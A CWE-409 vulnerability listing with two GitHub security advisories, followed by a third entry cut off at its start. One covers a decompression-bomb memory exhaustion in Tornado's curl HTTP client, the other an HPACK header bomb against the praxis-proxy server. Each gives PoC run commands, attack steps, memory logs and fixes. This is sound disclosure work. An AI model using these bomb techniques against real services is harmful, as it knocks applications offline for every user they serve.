CWE-409
AllowedImproper Handling of Highly Compressed Data (Data Amplification)
Abstraction: Base · Status: Incomplete
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
296 vulnerabilities reference this CWE, most recent first.
GHSA-CHX6-46F5-W4VP
Vulnerability from github – Published: 2026-09-30 23:49 – Updated: 2026-09-30 23:49An unbounded memory accumulation (decompression bomb) in tornado.curl_httpclient.CurlAsyncHTTPClient — the client-side sibling gap of CVE-2026-49855 — verified end-to-end on the 2026-08-15 master snapshot (6.6.dev1) and present unchanged in the latest release tag v6.5.8 and on master (checked 2026-08-17). When a Tornado application configures the curl client (the documented deployment for proxy support / advanced TLS options) and fetch()es an attacker-chosen or attacker-compromised URL with default decompress_response=True, a malicious server replying Content-Encoding: gzip with a ~2.8 MB wire bomb drove the client's RSS from 30,884 kB to 1,032,100 kB (~1008 MB) in 3.18 s (~350 MB/s, monotonic, no plateau) until the kernel OOM-killed the process (exit 137, cgroup OOMKilled=true) — with the transfer only 67% complete and no client-side size check ever intervening: curl_httpclient.py contains zero occurrences of max_body_size/MAXFILESIZE. The identical bomb against the default SimpleAsyncHTTPClient fails cleanly at ~65 MB, because every size gate CVE-2026-49855 added (compressed CL, chunked total, cumulative decompressed size — http1connection.py:620,676,742) lives in code the curl client never executes. This is a distinct component from the published advisory (which fixed _GzipMessageDelegate/SimpleAsyncHTTPClient only) and from the other curl-client advisories (credential handle-reuse GHSA-pw6j-qg29-8w7f, header CRLF GHSA-w235-7p84-xx57); the file's full commit history (latest 2026-06-17) shows no response-size work.
Details
tornado/curl_httpclient.py (line numbers identical on master 6.6.dev1, v6.5.8, and the audited snapshot):
"buffer": BytesIO(), # :202 — plain BytesIO, no accounting
...
else:
write_function = buffer.write # :359 — every decompressed byte lands here
curl.setopt(pycurl.WRITEFUNCTION, write_function) # :360
...
if request.decompress_response: # default True (HTTPRequest)
curl.setopt(pycurl.ENCODING, "gzip,deflate") # :373-374 — libcurl advertises + auto-decodes
libcurl decompresses the response before invoking WRITEFUNCTION, so the callback receives decompressed bytes, which are appended to an unbounded BytesIO until the transfer ends or the process dies. The only ceiling is request_timeout (default 20 s) — at zlib's hundreds of MB/s that still permits many GB of accumulation; the PoC raised it to 300 s and the 1 GiB cgroup cap was hit in 3.2 s regardless. There is no pycurl.MAXFILESIZE, no max_buffer_size/max_body_size plumbing (the constructor accepts no body-size option), and streaming_callback users fare no better (the callback variant at :353-356 also performs zero accounting).
Contrast — SimpleAsyncHTTPClient path (tornado/http1connection.py), all absent from the curl path:
if cast(int, content_length) > self._max_body_size: # :620 Content-Length gate
if total_size > self._max_body_size: # :676 chunked total gate
if self._decompressed_body_size > self._max_body_size: # :742 CVE-2026-49855 decompressed gate
SimpleAsyncHTTPClient.initialize() defaults max_buffer_size = 104857600 (100 MiB) with max_body_size defaulting to it (simple_httpclient.py:117-121); CurlAsyncHTTPClient.initialize() has no corresponding parameter at all.
Attack chain (attacker = malicious HTTP server; victim = any Tornado app doing fetch() on attacker-influenced URLs — URL fetchers, webhook processors, link previewers, RSS/probe pollers):
- App configures
AsyncHTTPClient.configure("tornado.curl_httpclient.CurlAsyncHTTPClient")(documented for proxy support; proxies are only supported with the curl client). - App calls
fetch("http://attacker/...")with defaults → request advertisesAccept-Encoding: gzip,deflate. - Attacker replies
200,Content-Encoding: gzip,Transfer-Encoding: chunked, body = a gzip stream of zeros (4,174,525 wire bytes expanding to 4 GiB, 1029:1, sent in 64 KB chunks). - libcurl auto-decodes at ~350 MB/s into
buffer.writewith no size accounting → process RSS climbs linearly until OOM. The response need not complete: the client died with 2,818,048/4,174,525 wire bytes delivered (67%).
Variant without compression: decompress_response=False plus an endless streaming body (no Content-Length, no final chunk) feeds the same unaccounted buffer.write — this client never enforces any cap on any path.
PoC
Verified end-to-end 2026-08-15 in a single container (cgroup --memory 1g --memory-swap 1g so the exhaustion endpoint is safe and fast to observe), two processes over a real TCP socket on 127.0.0.1:8081: a raw-socket malicious server (evil_server.py, builds the 4 GiB-of-zeros gzip bomb once, serves it with chunked framing) and the Tornado victim (victim_curl.py, configures CurlAsyncHTTPClient, fetch(..., request_timeout=300), samples /proc/self/status VmRSS every 0.2 s from a monitor thread so the curve survives the OOM kill).
Build & run the victim
git clone https://github.com/tornadoweb/tornado
cd tornado
pip install pycurl
python evil_server.py & # 127.0.0.1:8081; prints BOMB_BUILT wire_bytes=... ratio=... EVIL_LISTENING
python victim_curl.py # victim: CurlAsyncHTTPClient fetch -> expect linear RSS rise -> OOM
python victim_simple.py # control: default SimpleAsyncHTTPClient on the same bomb
Verified environment: debian:bookworm-slim, Python 3.11.2, python3-pycurl 7.45.2 (libcurl 7.88.1, zlib 1.2.13), tornado master snapshot 6.6.dev1 of 2026-08-15 run from the source tree (sys.path), container memory capped at 1 GiB. curl_httpclient.py verified byte-equivalent (still zero size-limit references) in tag v6.5.8 and on master as of 2026-08-17.
Reproduction steps
-
Precondition — the documented curl-client deployment fetching a remote URL. The vulnerability requires the application to use
CurlAsyncHTTPClient(the standard configuration when proxy support or advanced TLS options are needed) with defaultdecompress_response=True, and to fetch a URL whose server the attacker controls or has compromised.victim_curl.pyimplements exactly that (AsyncHTTPClient.configure("tornado.curl_httpclient.CurlAsyncHTTPClient")→fetch()), and the server log confirms the ENCODING path engaged — the victim's request arrived withUser-Agent: Mozilla/5.0 (compatible; pycurl)andAccept-Encoding: gzip,deflate. -
Attack: start
evil_server.py, wait forEVIL_LISTENING, then runvictim_curl.py(the fetch itself is the attack; no further interaction). -
Expected:
victim_curl_rss.logshows VmRSS 30,884 → 1,032,100 kB over 3.18 s, rising ~350 MB/s with no plateau; the container kills the victim (exit 137, dockerOOMKilled=true); the server logsCLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525— the accumulation is bounded only by available memory, never by a client-side check, and the 4 GiB payload was never fully delivered. -
Variant: with
decompress_response=Falseand an unterminated chunked body (server keeps sending forever), the samebuffer.writepath accumulates unbounded plain bytes — no compression needed;request_timeoutonly extends the ceiling. -
Control:
victim_simple.pyfetches the identical bomb with the defaultSimpleAsyncHTTPClient→ cleanFETCH_FAILED: HTTP 599: Connection closed, RSS peak ~65 MB (24,984 → 66,712 kB), script exit 0 — the CVE-2026-49855 accounting inhttp1connection.pyaborts the transfer, proving the gap is specific to the curl client.
PoC source
Full PoC source (victim_curl.py, stdlib only, no dependencies): victim_curl.py (secret gist, unlisted).
The gist carries evil_server.py (bomb server), victim_curl.py (victim), victim_simple.py (control), and REPRODUCE.md.
Captured output (2026-08-15 run, verbatim excerpts)
evil_server.log:
BOMB_BUILT wire_bytes=4174525 decompressed_bytes=4294967296 ratio=1029:1
EVIL_LISTENING 127.0.0.1:8081
REQUEST_FROM 127.0.0.1:57544 -> GET /bomb HTTP/1.1
REQUEST_HEADERS:
GET /bomb HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
WIRE_SENT 65536/4174525
WIRE_SENT 2162688/4174525
CLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525 err=ConnectionResetError(104, 'Connection reset by peer')
victim_curl_rss.log (VmRSS kB, every 0.2 s):
0.00 30884
0.61 231848
1.41 514720
2.22 794480
2.82 1000756
3.18 1032100 <- last sample before kill
driver_f1.log:
timeout 240 python3 /e2e/F1/victim_curl.py ... 606 Killed
VICTIM_CURL_EXIT=137 # docker inspect -> OomKilled: true
victim_simple.log (control, same bomb):
FETCH_FAILED: HTTP 599: Connection closed
SCRIPT_FINISHED_NORMALLY # exit 0, VmRSS peak 66712 kB
Honest framing of the endpoint: the OOM kill at ~1008 MB was forced by the test's 1 GiB cgroup cap as the observation instrument; the "unbounded" claim rests on the linear no-plateau RSS curve, death at 67% wire delivery, and the absence of any size accounting in the code path — with more memory the transfer would have continued to the full 4 GiB payload.
Impact
Denial of service (memory exhaustion) of any Tornado application that uses the curl HTTP client and fetches attacker-influenced URLs. A single ~4 MB response kills a 1 GiB process in ~3 s; wire cost scales as available_memory / 1000. Because the accumulation happens on the shared event loop's client, one malicious response takes down the entire application (all concurrently served users), and a slow endless-body variant drains memory gradually below detection thresholds. The attack requires no privileges, no user interaction, and only that the victim's configured client visits the attacker's origin.
Suggested fix
Enforce a byte budget in the write path of CurlAsyncHTTPClient: wrap the WRITEFUNCTION (both the buffer.write branch and the streaming_callback branch) in a counter that aborts the transfer (curl.setopt(pycurl.FAILONERROR)-style cancellation or raising from the callback) once the received total exceeds max_body_size, plumbed from initialize() with the same 100 MiB default as SimpleAsyncHTTPClient. Because libcurl decompresses before the write callback, the counter naturally measures decompressed bytes — the same semantics as the CVE-2026-49855 fix. (pycurl.MAXFILESIZE alone is insufficient: it applies to the compressed transfer size.)
Affected versions
- <= 6.5.8 (latest tag; the curl client has never had a response-size limit) and master (
6.6.dev1, verified 2026-08-15/17). - 6.5.6's CVE-2026-49855 fix covered
SimpleAsyncHTTPClient/http1connection.pyonly;curl_httpclient.pywas not touched.
Credit
Reported by the diff/ambidiff security research effort (afldl).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.5.8"
},
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T23:49:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "An unbounded memory accumulation (decompression bomb) in `tornado.curl_httpclient.CurlAsyncHTTPClient` \u2014 the client-side sibling gap of CVE-2026-49855 \u2014 verified end-to-end on the 2026-08-15 master snapshot (`6.6.dev1`) and present unchanged in the latest release tag `v6.5.8` and on master (checked 2026-08-17). When a Tornado application configures the curl client (the documented deployment for proxy support / advanced TLS options) and `fetch()`es an attacker-chosen or attacker-compromised URL with default `decompress_response=True`, a malicious server replying `Content-Encoding: gzip` with a ~2.8 MB wire bomb drove the client\u0027s RSS from 30,884 kB to **1,032,100 kB (~1008 MB) in 3.18 s** (~350 MB/s, monotonic, no plateau) until the kernel OOM-killed the process (exit 137, cgroup `OOMKilled=true`) \u2014 with the transfer only 67% complete and **no client-side size check ever intervening**: `curl_httpclient.py` contains zero occurrences of `max_body_size`/`MAXFILESIZE`. The identical bomb against the default `SimpleAsyncHTTPClient` fails cleanly at ~65 MB, because every size gate CVE-2026-49855 added (compressed CL, chunked total, cumulative decompressed size \u2014 `http1connection.py:620,676,742`) lives in code the curl client never executes. This is a distinct component from the published advisory (which fixed `_GzipMessageDelegate`/`SimpleAsyncHTTPClient` only) and from the other curl-client advisories (credential handle-reuse GHSA-pw6j-qg29-8w7f, header CRLF GHSA-w235-7p84-xx57); the file\u0027s full commit history (latest 2026-06-17) shows no response-size work.\n\n## Details\n\n`tornado/curl_httpclient.py` (line numbers identical on master `6.6.dev1`, `v6.5.8`, and the audited snapshot):\n\n```python\n\"buffer\": BytesIO(), # :202 \u2014 plain BytesIO, no accounting\n...\nelse:\n write_function = buffer.write # :359 \u2014 every decompressed byte lands here\ncurl.setopt(pycurl.WRITEFUNCTION, write_function) # :360\n...\nif request.decompress_response: # default True (HTTPRequest)\n curl.setopt(pycurl.ENCODING, \"gzip,deflate\") # :373-374 \u2014 libcurl advertises + auto-decodes\n```\n\nlibcurl decompresses the response **before** invoking `WRITEFUNCTION`, so the callback receives decompressed bytes, which are appended to an unbounded `BytesIO` until the transfer ends or the process dies. The only ceiling is `request_timeout` (default 20 s) \u2014 at zlib\u0027s hundreds of MB/s that still permits many GB of accumulation; the PoC raised it to 300 s and the 1 GiB cgroup cap was hit in 3.2 s regardless. There is no `pycurl.MAXFILESIZE`, no `max_buffer_size`/`max_body_size` plumbing (the constructor accepts no body-size option), and `streaming_callback` users fare no better (the callback variant at `:353-356` also performs zero accounting).\n\nContrast \u2014 `SimpleAsyncHTTPClient` path (`tornado/http1connection.py`), all absent from the curl path:\n\n```python\nif cast(int, content_length) \u003e self._max_body_size: # :620 Content-Length gate\nif total_size \u003e self._max_body_size: # :676 chunked total gate\nif self._decompressed_body_size \u003e self._max_body_size: # :742 CVE-2026-49855 decompressed gate\n```\n\n`SimpleAsyncHTTPClient.initialize()` defaults `max_buffer_size = 104857600` (100 MiB) with `max_body_size` defaulting to it (`simple_httpclient.py:117-121`); `CurlAsyncHTTPClient.initialize()` has no corresponding parameter at all.\n\nAttack chain (attacker = malicious HTTP server; victim = any Tornado app doing `fetch()` on attacker-influenced URLs \u2014 URL fetchers, webhook processors, link previewers, RSS/probe pollers):\n\n1. App configures `AsyncHTTPClient.configure(\"tornado.curl_httpclient.CurlAsyncHTTPClient\")` (documented for proxy support; proxies are only supported with the curl client).\n2. App calls `fetch(\"http://attacker/...\")` with defaults \u2192 request advertises `Accept-Encoding: gzip,deflate`.\n3. Attacker replies `200`, `Content-Encoding: gzip`, `Transfer-Encoding: chunked`, body = a gzip stream of zeros (4,174,525 wire bytes expanding to 4 GiB, 1029:1, sent in 64 KB chunks).\n4. libcurl auto-decodes at ~350 MB/s into `buffer.write` with no size accounting \u2192 process RSS climbs linearly until OOM. The response need not complete: the client died with 2,818,048/4,174,525 wire bytes delivered (67%).\n\nVariant without compression: `decompress_response=False` plus an endless streaming body (no Content-Length, no final chunk) feeds the same unaccounted `buffer.write` \u2014 this client never enforces any cap on any path.\n\n## PoC\n\nVerified end-to-end 2026-08-15 in a single container (cgroup `--memory 1g --memory-swap 1g` so the exhaustion endpoint is safe and fast to observe), two processes over a real TCP socket on `127.0.0.1:8081`: a raw-socket malicious server (`evil_server.py`, builds the 4 GiB-of-zeros gzip bomb once, serves it with chunked framing) and the Tornado victim (`victim_curl.py`, configures `CurlAsyncHTTPClient`, `fetch(..., request_timeout=300)`, samples `/proc/self/status` VmRSS every 0.2 s from a monitor thread so the curve survives the OOM kill).\n\n### Build \u0026 run the victim\n\n```bash\ngit clone https://github.com/tornadoweb/tornado\ncd tornado\npip install pycurl\npython evil_server.py \u0026 # 127.0.0.1:8081; prints BOMB_BUILT wire_bytes=... ratio=... EVIL_LISTENING\npython victim_curl.py # victim: CurlAsyncHTTPClient fetch -\u003e expect linear RSS rise -\u003e OOM\npython victim_simple.py # control: default SimpleAsyncHTTPClient on the same bomb\n```\n\nVerified environment: debian:bookworm-slim, Python 3.11.2, python3-pycurl 7.45.2 (libcurl 7.88.1, zlib 1.2.13), tornado master snapshot `6.6.dev1` of 2026-08-15 run from the source tree (`sys.path`), container memory capped at 1 GiB. `curl_httpclient.py` verified byte-equivalent (still zero size-limit references) in tag `v6.5.8` and on master as of 2026-08-17.\n\n### Reproduction steps\n\n1. **Precondition \u2014 the documented curl-client deployment fetching a remote URL.** The vulnerability requires the application to use `CurlAsyncHTTPClient` (the standard configuration when proxy support or advanced TLS options are needed) with default `decompress_response=True`, and to fetch a URL whose server the attacker controls or has compromised. `victim_curl.py` implements exactly that (`AsyncHTTPClient.configure(\"tornado.curl_httpclient.CurlAsyncHTTPClient\")` \u2192 `fetch()`), and the server log confirms the ENCODING path engaged \u2014 the victim\u0027s request arrived with `User-Agent: Mozilla/5.0 (compatible; pycurl)` and `Accept-Encoding: gzip,deflate`.\n\n2. **Attack:** start `evil_server.py`, wait for `EVIL_LISTENING`, then run `victim_curl.py` (the fetch itself is the attack; no further interaction).\n\n3. **Expected:** `victim_curl_rss.log` shows VmRSS 30,884 \u2192 1,032,100 kB over 3.18 s, rising ~350 MB/s with no plateau; the container kills the victim (`exit 137`, docker `OOMKilled=true`); the server logs `CLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525` \u2014 the accumulation is bounded only by available memory, never by a client-side check, and the 4 GiB payload was never fully delivered.\n\n4. **Variant:** with `decompress_response=False` and an unterminated chunked body (server keeps sending forever), the same `buffer.write` path accumulates unbounded plain bytes \u2014 no compression needed; `request_timeout` only extends the ceiling.\n\n5. **Control:** `victim_simple.py` fetches the identical bomb with the default `SimpleAsyncHTTPClient` \u2192 clean `FETCH_FAILED: HTTP 599: Connection closed`, RSS peak ~65 MB (24,984 \u2192 66,712 kB), script exit 0 \u2014 the CVE-2026-49855 accounting in `http1connection.py` aborts the transfer, proving the gap is specific to the curl client.\n\n### PoC source\n\nFull PoC source (**victim_curl.py**, stdlib only, no dependencies): [victim_curl.py](https://gist.github.com/afldl/211c0e7af8175c2eabab53ed037c435d) (secret gist, unlisted).\n\n\nThe gist carries `evil_server.py` (bomb server), `victim_curl.py` (victim), `victim_simple.py` (control), and `REPRODUCE.md`.\n\n### Captured output (2026-08-15 run, verbatim excerpts)\n\n```\nevil_server.log:\nBOMB_BUILT wire_bytes=4174525 decompressed_bytes=4294967296 ratio=1029:1\nEVIL_LISTENING 127.0.0.1:8081\nREQUEST_FROM 127.0.0.1:57544 -\u003e GET /bomb HTTP/1.1\nREQUEST_HEADERS:\nGET /bomb HTTP/1.1\nHost: 127.0.0.1:8081\nUser-Agent: Mozilla/5.0 (compatible; pycurl)\nAccept: */*\nAccept-Encoding: gzip,deflate\nWIRE_SENT 65536/4174525\nWIRE_SENT 2162688/4174525\nCLIENT_DIED_MID_TRANSFER wire_sent=2818048/4174525 err=ConnectionResetError(104, \u0027Connection reset by peer\u0027)\n\nvictim_curl_rss.log (VmRSS kB, every 0.2 s):\n0.00 30884\n0.61 231848\n1.41 514720\n2.22 794480\n2.82 1000756\n3.18 1032100 \u003c- last sample before kill\n\ndriver_f1.log:\ntimeout 240 python3 /e2e/F1/victim_curl.py ... 606 Killed\nVICTIM_CURL_EXIT=137 # docker inspect -\u003e OomKilled: true\n\nvictim_simple.log (control, same bomb):\nFETCH_FAILED: HTTP 599: Connection closed\nSCRIPT_FINISHED_NORMALLY # exit 0, VmRSS peak 66712 kB\n```\n\nHonest framing of the endpoint: the OOM kill at ~1008 MB was forced by the test\u0027s 1 GiB cgroup cap as the observation instrument; the \"unbounded\" claim rests on the linear no-plateau RSS curve, death at 67% wire delivery, and the absence of any size accounting in the code path \u2014 with more memory the transfer would have continued to the full 4 GiB payload.\n\n## Impact\n\nDenial of service (memory exhaustion) of any Tornado application that uses the curl HTTP client and fetches attacker-influenced URLs. A single ~4 MB response kills a 1 GiB process in ~3 s; wire cost scales as `available_memory / 1000`. Because the accumulation happens on the shared event loop\u0027s client, one malicious response takes down the entire application (all concurrently served users), and a slow endless-body variant drains memory gradually below detection thresholds. The attack requires no privileges, no user interaction, and only that the victim\u0027s configured client visits the attacker\u0027s origin.\n\n### Suggested fix\n\nEnforce a byte budget in the write path of `CurlAsyncHTTPClient`: wrap the `WRITEFUNCTION` (both the `buffer.write` branch and the `streaming_callback` branch) in a counter that aborts the transfer (`curl.setopt(pycurl.FAILONERROR)`-style cancellation or raising from the callback) once the received total exceeds `max_body_size`, plumbed from `initialize()` with the same 100 MiB default as `SimpleAsyncHTTPClient`. Because libcurl decompresses before the write callback, the counter naturally measures *decompressed* bytes \u2014 the same semantics as the CVE-2026-49855 fix. (`pycurl.MAXFILESIZE` alone is insufficient: it applies to the compressed transfer size.)\n\n### Affected versions\n\n- **\u003c= 6.5.8** (latest tag; the curl client has never had a response-size limit) and master (`6.6.dev1`, verified 2026-08-15/17).\n- 6.5.6\u0027s CVE-2026-49855 fix covered `SimpleAsyncHTTPClient`/`http1connection.py` only; `curl_httpclient.py` was not touched.\n\n## Credit\n\nReported by the diff/ambidiff security research effort (afldl).",
"id": "GHSA-chx6-46f5-w4vp",
"modified": "2026-09-30T23:49:13Z",
"published": "2026-09-30T23:49:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-chx6-46f5-w4vp"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/pull/3719"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/commit/15f056080d8e456f92cca8ad0c33e5a5480414ac"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/commit/6564e0a0922c16f239d3a18adccd04736e380c89"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/commit/aa2eb0d989716ac00fe8d7a9919b81c1eccd6ec4"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/commit/e412435febba4569c552c5c9054f1bf92bd171a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/releases/tag/v6.5.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "tornado: CurlAsyncHTTPClient enforces no response-size limit \u2014 decompression bomb drives unbounded memory accumulation to OOM"
}
GHSA-CJCG-CXMH-9WCR
Vulnerability from github – Published: 2026-10-02 23:09 – Updated: 2026-10-02 23:09Summary
Multiple denial-of-service vulnerabilities have been discovered in HTTP/2 server implementations. All have been rated with a severity impact of Important. The vulnerabilities target HPACK, the header compression scheme in HTTP/2, where a small request can trigger large memory allocations on the server.
Details
Credit to the original researcher, I'm mostly just run their tool against the code base.
Security Bulletins: https://access.redhat.com/security/vulnerabilities/RHSB-2026-007 Exploit details: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb
This bug was fixed in upstream pingora v0.8.1, but our fork (v0.8.2) is missing this important PR to set the default h2 options. (edited)
PoC
- Generate certificates
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -keyout server.key -out server.crt -days 3650 -nodes -subj "/CN=localhost"
- Create praxis config as follow
listeners:
- name: web
address: "0.0.0.0:8443"
tls:
certificates:
- cert_path: /etc/praxis/server.crt
key_path: /etc/praxis/server.key
filter_chains: [main]
filter_chains:
- name: main
filters:
- filter: router
routes:
- path_prefix: "/"
host: "example.api.com"
cluster: backend
- filter: load_balancer
clusters:
- name: backend
endpoints:
- "httpbingo.org:443"
tls:
verify: false
- Start the container
docker run --name praxis --user $(id -u):$(id -g) -it --rm -p 8443:8443 -v ./config.yaml:/etc/praxis/config.yaml -v ./server.crt:/etc/praxis/server.crt -v ./server.key:/etc/praxis/server.key ghcr.io/praxis-proxy/praxis:0.5.1
- Check container memory
$ docker stats
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS
362cfa472792 praxis 0.00% 6.473MiB / 62.49GiB 0.01% 7.57kB / 126B 0B / 0B 22
- In another terminal run the attack
./hpack_bomb.py --host 127.0.0.1 --port 8443 -n 10
- Observer the container memory
98b040c5e5ad praxis 0.13% 687.1MiB / 62.49GiB 1.07% 41.6MB / 362kB 0B / 0B 23
Memory usage spiked to around 700MB, and even after the attack ended, the memory was not freed up. * Patch the code to set h2options
diff --git a/protocol/src/http/pingora/handler/mod.rs b/protocol/src/http/pingora/handler/mod.rs
index dc684ad..fc59234 100644
--- a/protocol/src/http/pingora/handler/mod.rs
+++ b/protocol/src/http/pingora/handler/mod.rs
@@ -18,6 +18,7 @@ use std::{collections::HashMap, sync::Arc, time::Duration};
use arc_swap::ArcSwap;
use bytes::Bytes;
+use pingora_core::protocols::http::v2::server::H2Options;
use pingora_core::{Result, apps::HttpServerOptions, server::Server, services::listening::Service};
use pingora_proxy::{Session, http_proxy};
use praxis_core::{config::ABSOLUTE_MAX_BODY_BYTES, connectivity::Upstream};
@@ -151,6 +152,11 @@ where
let service_name = format!("http-proxy:{name}", name = listener.name);
let mut proxy = http_proxy(&server.configuration, handler);
proxy.server_options = Some(h2c_server_options());
+ let mut h2_options = H2Options::new();
+ h2_options.max_header_list_size(65536);
+ h2_options.max_concurrent_streams(32);
+ proxy.h2_options = Some(h2_options);
+
let mut service = Service::new(service_name, proxy);
if let Some(tx) = super::listener::add_listener(&mut service, listener)? {
cert_watcher_shutdowns.push(tx);
- Rerun the attack, the memory usage looks a lot better now
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS
b1c82abca409 praxis 0.04% 10.09MiB / 62.49GiB 0.02% 1.16MB / 23.4kB 950kB / 0B 23
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "praxis-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-02T23:09:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nMultiple denial-of-service vulnerabilities have been discovered in HTTP/2 server implementations. All have been rated with a severity impact of [Important](https://access.redhat.com/security/updates/classification). The vulnerabilities target HPACK, the header compression scheme in HTTP/2, where a small request can trigger large memory allocations on the server. \n\n### Details\n\nCredit to the original researcher, I\u0027m mostly just run their tool against the code base.\n\n[Security Bulletins](https://access.redhat.com/security/vulnerabilities/RHSB-2026-007): https://access.redhat.com/security/vulnerabilities/RHSB-2026-007 \nExploit details: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb\n\nThis bug was fixed in upstream pingora v0.8.1, but our fork (v0.8.2) is missing this important [PR](https://github.com/praxis-proxy/pingora/commit/d193c8d49b8b7c1c1ede93183759caa4f6906bbd) to set the default h2 options.\u00a0(edited)\n\n### PoC\n\n* Generate certificates\n```\nopenssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -keyout server.key -out server.crt -days 3650 -nodes -subj \"/CN=localhost\"\n```\n\n* Create praxis config as follow\n\n```\nlisteners:\n - name: web\n address: \"0.0.0.0:8443\"\n tls:\n certificates:\n - cert_path: /etc/praxis/server.crt\n key_path: /etc/praxis/server.key\n filter_chains: [main]\n\nfilter_chains:\n - name: main\n filters:\n - filter: router\n routes:\n - path_prefix: \"/\"\n host: \"example.api.com\"\n cluster: backend\n - filter: load_balancer\n clusters:\n - name: backend\n endpoints:\n - \"httpbingo.org:443\"\n tls:\n verify: false\n```\n\n* Start the container\n\n```\ndocker run --name praxis --user $(id -u):$(id -g) -it --rm -p 8443:8443 -v ./config.yaml:/etc/praxis/config.yaml -v ./server.crt:/etc/praxis/server.crt -v ./server.key:/etc/praxis/server.key ghcr.io/praxis-proxy/praxis:0.5.1\n```\n\n* Check container memory\n\n```\n$ docker stats\n\nCONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS\n362cfa472792 praxis 0.00% 6.473MiB / 62.49GiB 0.01% 7.57kB / 126B 0B / 0B 22\n```\n\n* In another terminal run the attack\n\n```\n./hpack_bomb.py --host 127.0.0.1 --port 8443 -n 10\n```\n\n* Observer the container memory\n\n```\n98b040c5e5ad praxis 0.13% 687.1MiB / 62.49GiB 1.07% 41.6MB / 362kB 0B / 0B 23\n```\n\nMemory usage spiked to around 700MB, and even after the attack ended, the memory was not freed up.\n* Patch the code to set h2options\n\n```\ndiff --git a/protocol/src/http/pingora/handler/mod.rs b/protocol/src/http/pingora/handler/mod.rs\nindex dc684ad..fc59234 100644\n--- a/protocol/src/http/pingora/handler/mod.rs\n+++ b/protocol/src/http/pingora/handler/mod.rs\n@@ -18,6 +18,7 @@ use std::{collections::HashMap, sync::Arc, time::Duration};\n\n use arc_swap::ArcSwap;\n use bytes::Bytes;\n+use pingora_core::protocols::http::v2::server::H2Options;\n use pingora_core::{Result, apps::HttpServerOptions, server::Server, services::listening::Service};\n use pingora_proxy::{Session, http_proxy};\n use praxis_core::{config::ABSOLUTE_MAX_BODY_BYTES, connectivity::Upstream};\n@@ -151,6 +152,11 @@ where\n let service_name = format!(\"http-proxy:{name}\", name = listener.name);\n let mut proxy = http_proxy(\u0026server.configuration, handler);\n proxy.server_options = Some(h2c_server_options());\n+ let mut h2_options = H2Options::new();\n+ h2_options.max_header_list_size(65536);\n+ h2_options.max_concurrent_streams(32);\n+ proxy.h2_options = Some(h2_options);\n+\n let mut service = Service::new(service_name, proxy);\n if let Some(tx) = super::listener::add_listener(\u0026mut service, listener)? {\n cert_watcher_shutdowns.push(tx);\n```\n\n* Rerun the attack, the memory usage looks a lot better now\n\n```\nCONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS\nb1c82abca409 praxis 0.04% 10.09MiB / 62.49GiB 0.02% 1.16MB / 23.4kB 950kB / 0B 23\n```",
"id": "GHSA-cjcg-cxmh-9wcr",
"modified": "2026-10-02T23:09:37Z",
"published": "2026-10-02T23:09:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/praxis-proxy/praxis/security/advisories/GHSA-cjcg-cxmh-9wcr"
},
{
"type": "WEB",
"url": "https://github.com/praxis-proxy/praxis/commit/2bb7b29d6992fc2d8045628475912d734e6bee97"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/vulnerabilities/RHSB-2026-007"
},
{
"type": "WEB",
"url": "https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb"
},
{
"type": "PACKAGE",
"url": "https://github.com/praxis-proxy/praxis"
},
{
"type": "WEB",
"url": "https://github.com/praxis-proxy/praxis/releases/tag/v0.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Praxis affected by HTTP/2 Bomb "
}
GHSA-F2H6-7XFR-XM8W
Vulnerability from github – Published: 2026-04-10 19:26 – Updated: 2026-04-10 19:26Summary
